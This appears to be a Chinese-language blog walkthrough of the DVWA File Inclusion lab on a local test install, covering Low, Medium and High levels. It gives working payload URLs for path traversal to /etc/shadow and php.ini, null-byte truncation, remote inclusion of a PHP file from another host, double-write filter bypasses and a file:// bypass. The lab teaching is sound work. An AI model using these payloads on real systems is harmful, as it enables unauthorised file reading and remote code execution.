天天看點

DVWA-File Inclusion(檔案包含)

本系列文集:DVWA學習筆記

檔案包含漏洞,是指當伺服器開啟allow_url_include選項時,就可以通過php的某些特性include(),require(),include_once(),require_once()利用url去動态包含檔案,此時如果沒有對檔案來源進行嚴格審查,就會導緻任意檔案讀取或者任意指令執行。檔案包含漏洞分為本地檔案包含漏洞與遠端檔案包含漏洞,遠端檔案包含漏洞是因為開啟了php配置中的allow_url_fopen選項(選項開啟之後,伺服器允許包含一個遠端的檔案)。

檔案包含分類:
LFI:本地檔案包含(Local File Inclusion) 
RFI:遠端檔案包含(Remote File Inclusion)
           
與檔案包含有關的函數:
 include():隻有代碼執行到該函數時才會包含檔案進來,發生錯誤時隻給出一個警告并繼續向下執行。
 include_once():和 include()功能相同,差別在于當重複調用同一檔案時,程式隻調用一次。
 require():隻要程式執行就包含檔案進來,發生錯誤時會輸出錯誤結果并終止運作。
 require_once():和 require()功能相同,差別在于當重複調用同一檔案時,程式隻調用一次。
           
相關的 php.ini 配置參數:
allow_url_fopen = on (預設開啟) 
allow_url_include = on (預設關閉)
           

遠端檔案包含是因為開啟了 php 配置中的 allow_url_fopen 選項(選項開啟之後,伺服器允許包含一個遠端的檔案)。

###Low:

DVWA-File Inclusion(檔案包含)

分析:

伺服器端對page參數沒有做任何的過濾跟檢查。

伺服器期望使用者的操作是點選下面的三個連結,伺服器會包含相應的檔案,并将結果傳回。

DVWA-File Inclusion(檔案包含)

tips:伺服器包含檔案時,不管檔案字尾是否是php,都會嘗試當做php檔案執行,如果檔案内容确為php,則會正常執行并傳回結果,如果不是,則會原封不動地列印檔案内容,是以檔案包含漏洞常常會導緻任意檔案讀取與任意指令執行。現實中,惡意的攻擊者是不會乖乖點選這些連結的,是以page參數是不可控的。

點選file1.php,觀察到url為:

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file1.php

Exploit

1.本地檔案包含

構造url:

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=/etc/shadow

DVWA-File Inclusion(檔案包含)

現報錯資訊,顯示沒有這個檔案,說明不是伺服器系統不是Linux,但同時暴露了伺服器檔案的絕對路徑D:\phpStudy\PHPTutorial\WWW\DVWA-1.9\

構造url(絕對路徑):

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini

成功讀取了伺服器的php.ini檔案。

DVWA-File Inclusion(檔案包含)

構造url(相對路徑):

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../DVWA-1.9/php.ini

加這麼多…\是為了保證到達伺服器的D盤根目錄,可以看到讀取是成功的。

DVWA-File Inclusion(檔案包含)

讀取phpstudy探針檔案進行資訊搜集

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../../WWW/l.php

DVWA-File Inclusion(檔案包含)

同時在讀取上面的php.ini檔案時,我們看到,配置檔案中的magic_quote_gpc選項為off。

在php版本小于5.3.4的伺服器中,當magic_quote_gpc選項為off時,我們可以在檔案名中使用%00進行截斷,也就是說檔案名中%00後的内容不會被識别,即下面兩個url是完全等效的。

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini 
http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=../../../dvwa/php.ini%002
           
DVWA-File Inclusion(檔案包含)

2.遠端檔案包含

當伺服器的php配置中,選項allow_url_fopen與allow_url_include為開啟狀态時,伺服器會允許包含遠端伺服器上的檔案。如果對檔案來源沒有檢查的話,就容易導緻任意遠端代碼執行。

在遠端伺服器192.168.0.20上傳一個phpinfo.txt檔案,内容如下:

<?php phpinfo();?>

構造以下url,成功在伺服器上執行了phpinfo()函數。

127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=http://192.168.0.20/phpinfo.txt

###Medium :

DVWA-File Inclusion(檔案包含)

str_replace(find,replace,string,count)

DVWA-File Inclusion(檔案包含)
eg:
把字元串 "Hello world!" 中的字元 "world" 替換為 "Shanghai":
<?php
echo str_replace("world","Shanghai","Hello world!");
?>

           

分析:

增加了str_replace函數,将以下字元串替換為空。

【http://】,【https://】 ,【../】 , 【..\】
           

Exploit

使用str_replace函數是極不安全的,可以使用雙寫繞過替換規則。

例如page=htthttp://p://192.168.0.20/phpinfo.txt時,str_replace函數會将http://删除,于是page=http://192.168.0.20/phpinfo.txt,成功執行遠端指令。

同時,因為替換的隻是…/、…\,是以對采用絕對路徑的方式包含檔案是不會受到任何限制的。

1.本地檔案包含

絕對路徑不受任何影響,讀取配置檔案成功。

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini

相對路徑的利用以下payload,讀取配置檔案成功。

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=..././..././..././DVWA-1.9/php.ini

2.遠端檔案包含

構造以下payload,遠端執行指令成功。

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=htthttp://p://192.168.0.20/phpinfo.txt

###High:

DVWA-File Inclusion(檔案包含)

分析:

High 的代碼使用了fnmatch()函數檢查page參數,要求page參數的開頭必須是file,伺服器才會去包含相應的檔案。

Exploit

High 的代碼規定隻能包含file開頭的檔案,看似安全,不幸的是我們依然可以利用file協定繞過防護政策。

Tips:因為 fnmatch 函數适用于 PHP >= 4.3.0,是以 php 版本高于這個才能利用,否則會出現打不開 high 等級頁面。

構造如下url,成功讀取了伺服器的配置檔案。

http://127.0.0.1/DVWA-1.9/vulnerabilities/fi/?page=file://D:/phpStudy/PHPTutorial/WWW/DVWA-1.9/php.ini

DVWA-File Inclusion(檔案包含)

至于執行任意指令,需要配合檔案上傳漏洞利用。首先需要上傳一個内容為php的檔案,然後再利用file協定去包含上傳檔案(需要知道上傳檔案的絕對路徑),進而實作任意指令執行。